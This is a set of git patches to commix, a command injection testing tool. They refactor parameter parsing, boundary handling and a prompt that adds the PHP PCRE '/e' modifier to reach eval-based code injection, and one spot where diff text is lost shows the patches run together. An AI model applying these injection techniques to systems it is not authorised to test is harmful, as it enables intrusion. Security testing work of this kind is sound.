settings.INJECT_INSIDE_BOUNDARIES = True + return _ + elif procced_option in settings.CHOICE_NO: + settings.INJECT_INSIDE_BOUNDARIES = False + return "" + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + + message = "It appears that provided value for "+ http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " + sys.stdout.write(settings.print_message(message)) + if menu.options.skip_parameter != None : + for skip_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.skip_parameter): + return value + + elif menu.options.test_parameter != None : + for test_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.test_parameter): + if parameter.split("=")[0] == test_parameter: + return check_boundaries_value(test_parameter, value, http_request_method) + else: + return value else: - common.invalid_option(procced_option) - pass - return value + return check_boundaries_value(parameter, value, http_request_method) + +""" +Add the PCRE '/e' modifier outside boundaries. +""" +def PCRE_e_modifier(parameter): + if not settings.PCRE_MODIFIER in parameter: + while True: + message = "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier ('" + parameter[:-1].split("=")[1] + settings.PCRE_MODIFIER + "')? [Y/n] > " + modifier_check = common.read_input(message, default="Y", check_batch=True) + if modifier_check in settings.CHOICE_YES: + return parameter[:-1] + settings.PCRE_MODIFIER + elif modifier_check in settings.CHOICE_NO: + return parameter + elif modifier_check in settings.CHOICE_QUIT: + print(settings.SINGLE_WHITESPACE) + os._exit(0) + else: + common.invalid_option(modifier_check) + pass """ Ignoring the anti-CSRF parameter(s). @@ -764,35 +803,6 @@ def check_CGI_scripts(url): if not _: menu.options.shellshock = False -""" -Add the PCRE_REPLACE_EVAL (/e) modifier -""" -def add_PCRE_REPLACE_EVAL_modifier(url): - try: - if re.findall(r"=/(.*)/&", url) or re.findall(r"=/(.*)/&", menu.options.data): - while True: - message = "Do you want to add the PCRE_REPLACE_EVAL (/e) modifier outside boundaries? [Y/n] > " - modifier_check = common.read_input(message, default="Y", check_batch=True) - settings.PCRE_REPLACE_EVAL = True - if modifier_check in settings.CHOICE_YES: - if re.findall(r"=(.*)&", url): - url = url.replace("/&", "/e&") - elif re.findall(r"=(.*)&", menu.options.data): - menu.options.data = menu.options.data.replace("/&", "/e&") - return url - elif modifier_check in settings.CHOICE_NO: - return url - elif modifier_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - common.invalid_option(shellshock_check) - pass - except TypeError as err_msg: - pass - - return url - """ Check if http / https. """ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8a10ea3c2a..8af52ef40c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -132,13 +132,11 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, Heuristic (basic) tests for code injection warnings """ def code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers): - settings.PCRE_REPLACE_EVAL = False injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" technique = "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "" settings.EVAL_BASED_STATE = True try: - url = checks.add_PCRE_REPLACE_EVAL_modifier(url) if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): @@ -228,8 +226,6 @@ def classic_command_injection_technique(url, timesec, filename, http_request_met # Check if it's exploitable via dynamic code evaluation technique. def dynamic_code_evaluation_technique(url, timesec, filename, http_request_method): - if not settings.PCRE_REPLACE_EVAL: - url = checks.add_PCRE_REPLACE_EVAL_modifier(url) injection_type = "results-based dynamic code evaluation" technique = "dynamic code evaluation technique" if not settings.SKIP_CODE_INJECTIONS: diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index c686c88697..6055fd7dee 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -82,7 +82,8 @@ def do_GET_check(url, http_request_method): # Check if single parameter is supplied. if len(multi_parameters) == 1: if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(multi_parameters, value, http_request_method) + value = checks.value_boundaries(parameters, value, http_request_method) + parameters = checks.PCRE_e_modifier(parameters) # Replace the value of parameter with INJECT_HERE tag # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: @@ -128,6 +129,7 @@ def do_GET_check(url, http_request_method): continue if re.search(settings.VALUE_BOUNDARIES, value): value = checks.value_boundaries(all_params[param], value, http_request_method) + all_params[param] = checks.PCRE_e_modifier(all_params[param]) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: @@ -151,7 +153,7 @@ def do_GET_check(url, http_request_method): # Reconstruct the URL url = url_part + "?" + parameter urls_list.append(url) - + return urls_list """ @@ -174,14 +176,14 @@ def vuln_GET_param(url): vuln_parameter = pairs[param].split("=")[0] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: - settings.TESTABLE_VALUE = checks.get_value_boundaries(settings.TESTABLE_VALUE) + settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break else: vuln_parameter = url - + return vuln_parameter """ @@ -254,6 +256,7 @@ def do_POST_check(parameter, http_request_method): return parameter if re.search(settings.VALUE_BOUNDARIES, value): value = checks.value_boundaries(parameter, value, http_request_method) + parameter = checks.PCRE_e_modifier(parameter) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if settings.IS_JSON: @@ -275,6 +278,7 @@ def do_POST_check(parameter, http_request_method): # Check for similarity in provided parameter name and value. all_params = all_params.split(settings.PARAMETER_DELIMITER) all_params = checks.check_similarities(all_params) + # Check if not defined the "INJECT_HERE" tag in parameter if settings.INJECT_TAG not in parameter: if checks.is_empty(multi_parameters, http_request_method): @@ -308,6 +312,7 @@ def do_POST_check(parameter, http_request_method): continue if re.search(settings.VALUE_BOUNDARIES, value): value = checks.value_boundaries(all_params[param], value, http_request_method) + all_params[param] = checks.PCRE_e_modifier(all_params[param]) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: @@ -380,7 +385,7 @@ def vuln_POST_param(parameter, url): vuln_parameter = pairs[param].split("=")[0] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: - settings.TESTABLE_VALUE = checks.get_value_boundaries(settings.TESTABLE_VALUE) + settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break diff --git a/src/utils/settings.py b/src/utils/settings.py index 69241fe3fe..f420248539 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "38" +REVISION = "39" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -283,7 +283,7 @@ def sys_argv_errors(): INJECT_TAG = "INJECT_HERE" INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE" VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' -INJECT_INSIDE_BOUNDARIES = True +INJECT_INSIDE_BOUNDARIES = None # Default (windows) target host's python interpreter WIN_PYTHON_INTERPRETER = "python.exe" @@ -1232,6 +1232,7 @@ def sys_argv_errors(): CHECKING_PARAMETER = "" -PCRE_REPLACE_EVAL = False +USE_PCRE_E_MODIFIER = None +PCRE_MODIFIER = "/e" # eof \ No newline at end of file From bed7e71ccf3fdd5eb26839271c69084a2b26ebd5 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Sun, 15 Jan 2023 11:21:39 +0200 Subject: [PATCH 257/560] Update regarding commit: https://github.com/commixproject/commix/commit/fde2d6ae19bd671dc00405e2c2ad1725623862b1 --- src/core/injections/controller/checks.py | 74 ++++++++++++++------ src/core/injections/controller/controller.py | 2 - src/core/main.py | 30 +------- src/core/requests/parameters.py | 73 +++++++++++-------- src/utils/settings.py | 2 +- 5 files changed, 99 insertions(+), 82 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 63c945bf94..e74b2e4fee 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -257,7 +257,8 @@ def value_boundaries(parameter, value, http_request_method): def check_boundaries_value(parameter, value, http_request_method): _ = get_value_inside_boundaries(value) while True: - message = "Do you want to inject inside? ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "')? [Y/n] > " + message = "Do you want to inject the provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' inside boundaries?" + message += " ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "') [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.INJECT_INSIDE_BOUNDARIES = True @@ -271,11 +272,12 @@ def check_boundaries_value(parameter, value, http_request_method): common.invalid_option(procced_option) pass - message = "It appears that provided value for "+ http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " - sys.stdout.write(settings.print_message(message)) - if menu.options.skip_parameter != None : + if menu.options.skip_parameter != None: for skip_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.skip_parameter): - return value + if parameter.split("=")[0] != skip_parameter: + return check_boundaries_value(skip_parameter, value, http_request_method) + else: + return value elif menu.options.test_parameter != None : for test_parameter in re.split(settings.PARAMETER_SPLITTING_REGEX, menu.options.test_parameter): @@ -289,21 +291,24 @@ def check_boundaries_value(parameter, value, http_request_method): """ Add the PCRE '/e' modifier outside boundaries. """ -def PCRE_e_modifier(parameter): +def PCRE_e_modifier(parameter, http_request_method): if not settings.PCRE_MODIFIER in parameter: - while True: - message = "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier ('" + parameter[:-1].split("=")[1] + settings.PCRE_MODIFIER + "')? [Y/n] > " - modifier_check = common.read_input(message, default="Y", check_batch=True) - if modifier_check in settings.CHOICE_YES: - return parameter[:-1] + settings.PCRE_MODIFIER - elif modifier_check in settings.CHOICE_NO: - return parameter - elif modifier_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - common.invalid_option(modifier_check) - pass + if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]: + while True: + message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " + message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + parameter[:-1].split("=")[1] + settings.PCRE_MODIFIER + "') [Y/n] > " + modifier_check = common.read_input(message, default="Y", check_batch=True) + if modifier_check in settings.CHOICE_YES: + return parameter[:-1] + settings.PCRE_MODIFIER + elif modifier_check in settings.CHOICE_NO: + return parameter + elif modifier_check in settings.CHOICE_QUIT: + print(settings.SINGLE_WHITESPACE) + os._exit(0) + else: + common.invalid_option(modifier_check) + pass + return parameter """ Ignoring the anti-CSRF parameter(s). @@ -996,12 +1001,35 @@ def wildcard_character(data): return data """ -Skip defined +Check provided parameters for tests """ -def check_skipped_params(check_parameters): +def check_provided_parameters(): + if menu.options.test_parameter or menu.options.skip_parameter: + if menu.options.test_parameter != None : + if menu.options.test_parameter.startswith("="): + menu.options.test_parameter = menu.options.test_parameter[1:] + settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + + elif menu.options.skip_parameter != None : + if menu.options.skip_parameter.startswith("="): + menu.options.skip_parameter = menu.options.skip_parameter[1:] + settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + + for i in range(0,len(settings.TEST_PARAMETER)): + if "=" in settings.TEST_PARAMETER[i]: + settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] + +""" +Check defined skipped parameters +""" +def check_skipped_params(check_parameters, http_request_method): settings.TEST_PARAMETER = [x + "," for x in settings.TEST_PARAMETER] + for parameter in check_parameters: + if parameter in ",".join(settings.TEST_PARAMETER).split(","): + info_msg = "Skipping " + http_request_method + " parameter '" + parameter + "'." + print(settings.print_info_msg(info_msg)) settings.TEST_PARAMETER = [x for x in check_parameters if x not in ",".join(settings.TEST_PARAMETER).split(",")] - settings.TEST_PARAMETER = ",".join(settings.TEST_PARAMETER) + settings.TEST_PARAMETER = ",".join(settings.TEST_PARAMETER) menu.options.test_parameter = True """ @@ -1054,7 +1082,7 @@ def print_non_listed_params(check_parameters, http_request_method, header_name): print(settings.print_warning_msg(warn_msg)) if menu.options.skip_parameter != None: - check_skipped_params(check_parameters) + check_skipped_params(check_parameters, http_request_method) """ Only time-relative injection techniques support tamper diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 8af52ef40c..46c2a0acd3 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -44,7 +44,6 @@ Check for previously stored sessions. """ def check_for_stored_sessions(url, http_request_method): - if not menu.options.ignore_session: if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: if not menu.options.tech: @@ -59,7 +58,6 @@ def check_for_stored_sessions(url, http_request_method): Check for previously stored injection level. """ def check_for_stored_levels(url, http_request_method): - if not menu.options.ignore_session: if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: menu.options.level = session_handler.applied_levels(url, http_request_method) diff --git a/src/core/main.py b/src/core/main.py index ef41c3a7c4..d2e21162fb 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -417,20 +417,7 @@ def main(filename, url): session_handler.ignore(url) # Check provided parameters for tests - if menu.options.test_parameter or menu.options.skip_parameter: - if menu.options.test_parameter != None : - if menu.options.test_parameter.startswith("="): - menu.options.test_parameter = menu.options.test_parameter[1:] - settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - - elif menu.options.skip_parameter != None : - if menu.options.skip_parameter.startswith("="): - menu.options.skip_parameter = menu.options.skip_parameter[1:] - settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - - for i in range(0,len(settings.TEST_PARAMETER)): - if "=" in settings.TEST_PARAMETER[i]: - settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] + checks.check_provided_parameters() # Check injection level, due to the provided testable parameters. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ @@ -840,20 +827,7 @@ def main(filename, url): settings.INJECT_TAG = inject_tag_regex_match.group(0) # Check provided parameters for tests - if menu.options.test_parameter or menu.options.skip_parameter: - if menu.options.test_parameter != None : - if menu.options.test_parameter.startswith("="): - menu.options.test_parameter = menu.options.test_parameter[1:] - settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - - elif menu.options.skip_parameter != None : - if menu.options.skip_parameter.startswith("="): - menu.options.skip_parameter = menu.options.skip_parameter[1:] - settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - - for i in range(0,len(settings.TEST_PARAMETER)): - if "=" in settings.TEST_PARAMETER[i]: - settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] + checks.check_provided_parameters() if menu.options.level != settings.DEFAULT_INJECTION_LEVEL: settings.USER_SUPPLIED_LEVEL = menu.options.level diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 6055fd7dee..07a12cad5b 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -36,6 +36,14 @@ def get_url_part(url): Check if the 'INJECT_HERE' tag, is specified on GET Requests. """ def do_GET_check(url, http_request_method): + """ + Grab the value of parameter. + """ + def multi_params_get_value(param, all_params): + value = re.findall(r'=(.*)', all_params[param]) + value = ''.join(value) + return value + # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. url = checks.wildcard_character(url) @@ -82,8 +90,8 @@ def do_GET_check(url, http_request_method): # Check if single parameter is supplied. if len(multi_parameters) == 1: if re.search(settings.VALUE_BOUNDARIES, value): + parameters = checks.PCRE_e_modifier(parameters, http_request_method) value = checks.value_boundaries(parameters, value, http_request_method) - parameters = checks.PCRE_e_modifier(parameters) # Replace the value of parameter with INJECT_HERE tag # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: @@ -115,6 +123,11 @@ def do_GET_check(url, http_request_method): all_params = checks.check_similarities(all_params) # Check if defined the "INJECT_HERE" tag if settings.INJECT_TAG not in url: + for param in range(0,len(all_params)): + # Grab the value of parameter. + value = multi_params_get_value(param, all_params) + if re.search(settings.VALUE_BOUNDARIES, value): + all_params[param] = checks.PCRE_e_modifier(all_params[param], http_request_method) for param in range(0,len(all_params)): if param == 0 : old = re.findall(r'=(.*)', all_params[param]) @@ -122,22 +135,18 @@ def do_GET_check(url, http_request_method): else : old = value # Grab the value of parameter. - value = re.findall(r'=(.*)', all_params[param]) - value = ''.join(value) + value = multi_params_get_value(param, all_params) + if re.search(settings.VALUE_BOUNDARIES, value): + value = checks.value_boundaries(all_params[param], value, http_request_method) # Ignoring the anti-CSRF parameter(s). if checks.ignore_anticsrf_parameter(all_params[param]): continue - if re.search(settings.VALUE_BOUNDARIES, value): - value = checks.value_boundaries(all_params[param], value, http_request_method) - all_params[param] = checks.PCRE_e_modifier(all_params[param]) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: if not menu.options.skip_empty: all_params[param] = all_params[param] + settings.INJECT_TAG else: all_params[param] = all_params[param].replace(value, value + settings.INJECT_TAG) - # all_params[param - 1] = all_params[param - 1].replace(value, "").replace(settings.INJECT_TAG, "") - # all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") all_params[param - 1] = all_params[param - 1].replace(settings.INJECT_TAG, "") parameter = settings.PARAMETER_DELIMITER.join(all_params) # Reconstruct the URL @@ -153,14 +162,13 @@ def do_GET_check(url, http_request_method): # Reconstruct the URL url = url_part + "?" + parameter urls_list.append(url) - + return urls_list """ Define the vulnerable GET parameter. """ def vuln_GET_param(url): - # Define the vulnerable parameter if "?" not in url: # Grab the value of parameter. @@ -180,7 +188,6 @@ def vuln_GET_param(url): if settings.BASE64_PADDING in pairs[param]: settings.TESTABLE_VALUE = settings.TESTABLE_VALUE + settings.BASE64_PADDING break - else: vuln_parameter = url @@ -190,6 +197,23 @@ def vuln_GET_param(url): Check if the 'INJECT_HERE' tag, is specified on POST Requests. """ def do_POST_check(parameter, http_request_method): + """ + Grab the value of parameter. + """ + def multi_params_get_value(param, all_params): + if settings.IS_JSON: + value = re.findall(r'\:(.*)', all_params[param]) + if re.findall(r'\\"(.*)\\"', value[0]): + value = re.findall(r'\\"(.*)\\"', value[0]) + value = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(value)) + elif settings.IS_XML: + value = re.findall(r'>(.*)(.*) Date: Mon, 16 Jan 2023 08:28:47 +0200 Subject: [PATCH 258/560] Minor update --- src/core/requests/parameters.py | 16 ++++++++-------- src/utils/settings.py | 2 +- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 07a12cad5b..89ffebc764 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -102,14 +102,14 @@ def multi_params_get_value(param, all_params): parameters = parameters + settings.INJECT_TAG else: parameters = parameters.replace(value, value + settings.INJECT_TAG) - else: - # Auto-recognize prefix / suffix - if settings.INJECT_TAG in value: - if len(value.rsplit(settings.INJECT_TAG, 0)[0]) > 0: - menu.options.prefix = value.rsplit(settings.INJECT_TAG, 1)[0] - if len(value.rsplit(settings.INJECT_TAG, 1)[1]) > 0: - menu.options.suffix = value.rsplit(settings.INJECT_TAG, 1)[1] - parameters = parameters.replace(value, value + settings.INJECT_TAG) + # else: + # # Auto-recognize prefix / suffix + # if settings.INJECT_TAG in value: + # if len(value.rsplit(settings.INJECT_TAG, 0)[0]) > 0: + # menu.options.prefix = value.rsplit(settings.INJECT_TAG, 1)[0] + # if len(value.rsplit(settings.INJECT_TAG, 1)[1]) > 0: + # menu.options.suffix = value.rsplit(settings.INJECT_TAG, 1)[1] + # parameters = parameters.replace(value, value + settings.INJECT_TAG) # Reconstruct the URL url = url_part + "?" + parameters urls_list.append(url) diff --git a/src/utils/settings.py b/src/utils/settings.py index fecf28421a..f2c689add8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "40" +REVISION = "41" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 0ddba4e5fa0ea60c92134255cdb6d4ff30d62344 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 17 Jan 2023 07:42:05 +0200 Subject: [PATCH 259/560] Triviial update --- src/core/injections/controller/checks.py | 73 +++++++++++++++++++- src/core/injections/controller/controller.py | 2 +- src/core/main.py | 70 +------------------ src/utils/settings.py | 2 +- 4 files changed, 73 insertions(+), 74 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e74b2e4fee..3de19d9e25 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -53,6 +53,63 @@ except: settings.READLINE_ERROR = True +""" +Check for custom injection marker (*) +""" +def check_custom_injection_marker(url): + if url and settings.WILDCARD_CHAR in url: + option = "'-u'" + settings.WILDCARD_CHAR_APPLIED = True + elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: + option = "POST body" + settings.WILDCARD_CHAR_APPLIED = True + else: + option = "option '--headers/--user-agent/--referer/--cookie'" + if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.COOKIE_INJECTION_LEVEL + + elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + + elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + + elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: + _ = True + for data in menu.options.headers.split("\\n"): + # Ignore the Accept HTTP Header + if not data.startswith(settings.ACCEPT): + _ = False + if _: + settings.WILDCARD_CHAR_APPLIED = True + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + + if settings.WILDCARD_CHAR_APPLIED: + if menu.options.test_parameter: + if not settings.MULTI_TARGETS or settings.STDIN_PARSING: + err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " + err_msg += "cannot be used simultaneously (i.e. only one option must be set)." + print(settings.print_critical_msg(err_msg)) + raise SystemExit + + while True: + message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " + message += "Do you want to process it? [Y/n] > " + procced_option = common.read_input(message, default="Y", check_batch=True) + if procced_option in settings.CHOICE_YES: + return + elif procced_option in settings.CHOICE_NO: + settings.WILDCARD_CHAR_APPLIED = None + return + elif procced_option in settings.CHOICE_QUIT: + raise SystemExit() + else: + common.invalid_option(procced_option) + pass + """ The available mobile user agents. """ @@ -256,6 +313,13 @@ def get_value_inside_boundaries(value): def value_boundaries(parameter, value, http_request_method): def check_boundaries_value(parameter, value, http_request_method): _ = get_value_inside_boundaries(value) + + if settings.INJECT_TAG in _: + settings.INJECT_INSIDE_BOUNDARIES = False + return "" + if settings.INJECT_TAG in value: + settings.INJECT_INSIDE_BOUNDARIES = True + return _ while True: message = "Do you want to inject the provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' inside boundaries?" message += " ('" + str(value.replace(_ ,_ + settings.WILDCARD_CHAR)) + "') [Y/n] > " @@ -292,16 +356,19 @@ def check_boundaries_value(parameter, value, http_request_method): Add the PCRE '/e' modifier outside boundaries. """ def PCRE_e_modifier(parameter, http_request_method): + original_parameter = parameter + if settings.INJECT_TAG in parameter: + parameter = parameter.replace(settings.INJECT_TAG, settings.WILDCARD_CHAR) if not settings.PCRE_MODIFIER in parameter: if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]: while True: message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " - message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + parameter[:-1].split("=")[1] + settings.PCRE_MODIFIER + "') [Y/n] > " + message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + parameter.split("=")[1] + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " modifier_check = common.read_input(message, default="Y", check_batch=True) if modifier_check in settings.CHOICE_YES: - return parameter[:-1] + settings.PCRE_MODIFIER + return original_parameter + settings.PCRE_MODIFIER[1:2] elif modifier_check in settings.CHOICE_NO: - return parameter + return original_parameter elif modifier_check in settings.CHOICE_QUIT: print(settings.SINGLE_WHITESPACE) os._exit(0) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 46c2a0acd3..0a1e3c2fa7 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -731,7 +731,7 @@ def basic_level_checks(): check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) settings.CUSTOM_HEADER_INJECTION = None - + # Check if defined POST data if not settings.USER_DEFINED_POST_DATA: get_request(url, http_request_method, filename, timesec) diff --git a/src/core/main.py b/src/core/main.py index d2e21162fb..ec489abfb8 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -60,74 +60,6 @@ # Use Colorama to make Termcolor work on Windows too :) init() -""" -Check for custom injection marker (*) -""" -def check_custom_injection_marker(url): - parameter = "" - if url and settings.WILDCARD_CHAR in url: - option = "'-u'" - settings.WILDCARD_CHAR_APPLIED = True - parameter = parameters.do_GET_check(url, http_request_method) - parameter = parameters.vuln_GET_param(parameter[0]) - elif menu.options.data and settings.WILDCARD_CHAR in menu.options.data: - option = "POST body" - settings.WILDCARD_CHAR_APPLIED = True - parameter = parameters.do_POST_check(menu.options.data, http_request_method) - parameter = parameters.vuln_POST_param(parameter, url) - else: - option = "option '--headers/--user-agent/--referer/--cookie'" - if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.COOKIE_INJECTION_LEVEL - cookie = parameters.do_cookie_check(menu.options.cookie) - parameter = parameters.specify_cookie_parameter(cookie) - - elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - parameter = "user-agent" - - elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - parameter = "referer" - - elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: - _ = True - for data in menu.options.headers.split("\\n"): - # Ignore the Accept HTTP Header - if not data.startswith(settings.ACCEPT): - _ = False - if _: - settings.WILDCARD_CHAR_APPLIED = True - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL - parameter = parameters.specify_custom_header_parameter(settings.WILDCARD_CHAR) - - if settings.WILDCARD_CHAR_APPLIED: - if menu.options.test_parameter: - if not settings.MULTI_TARGETS or settings.STDIN_PARSING: - err_msg = "The options '-p' and the custom injection marker (" + settings.WILDCARD_CHAR + ") " - err_msg += "cannot be used simultaneously (i.e. only one option must be set)." - print(settings.print_critical_msg(err_msg)) - raise SystemExit - - while True: - message = "Custom injection marker (" + settings.WILDCARD_CHAR + ") found in " + option +". " - message += "Do you want to process it? [Y/n] > " - procced_option = common.read_input(message, default="Y", check_batch=True) - if procced_option in settings.CHOICE_YES: - menu.options.test_parameter = parameter - return - elif procced_option in settings.CHOICE_NO: - settings.WILDCARD_CHAR_APPLIED = None - return - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass - """ Define HTTP User-Agent header. """ @@ -369,7 +301,7 @@ def main(filename, url): if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or settings.STDIN_PARSING: settings.WILDCARD_CHAR_APPLIED = False - check_custom_injection_marker(url) + checks.check_custom_injection_marker(url) # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: diff --git a/src/utils/settings.py b/src/utils/settings.py index f2c689add8..53c0b92d6c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e87efea5235b035b30756102e34f31ea56deeae0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 19 Jan 2023 07:30:04 +0200 Subject: [PATCH 260/560] Minor update regarding commit: 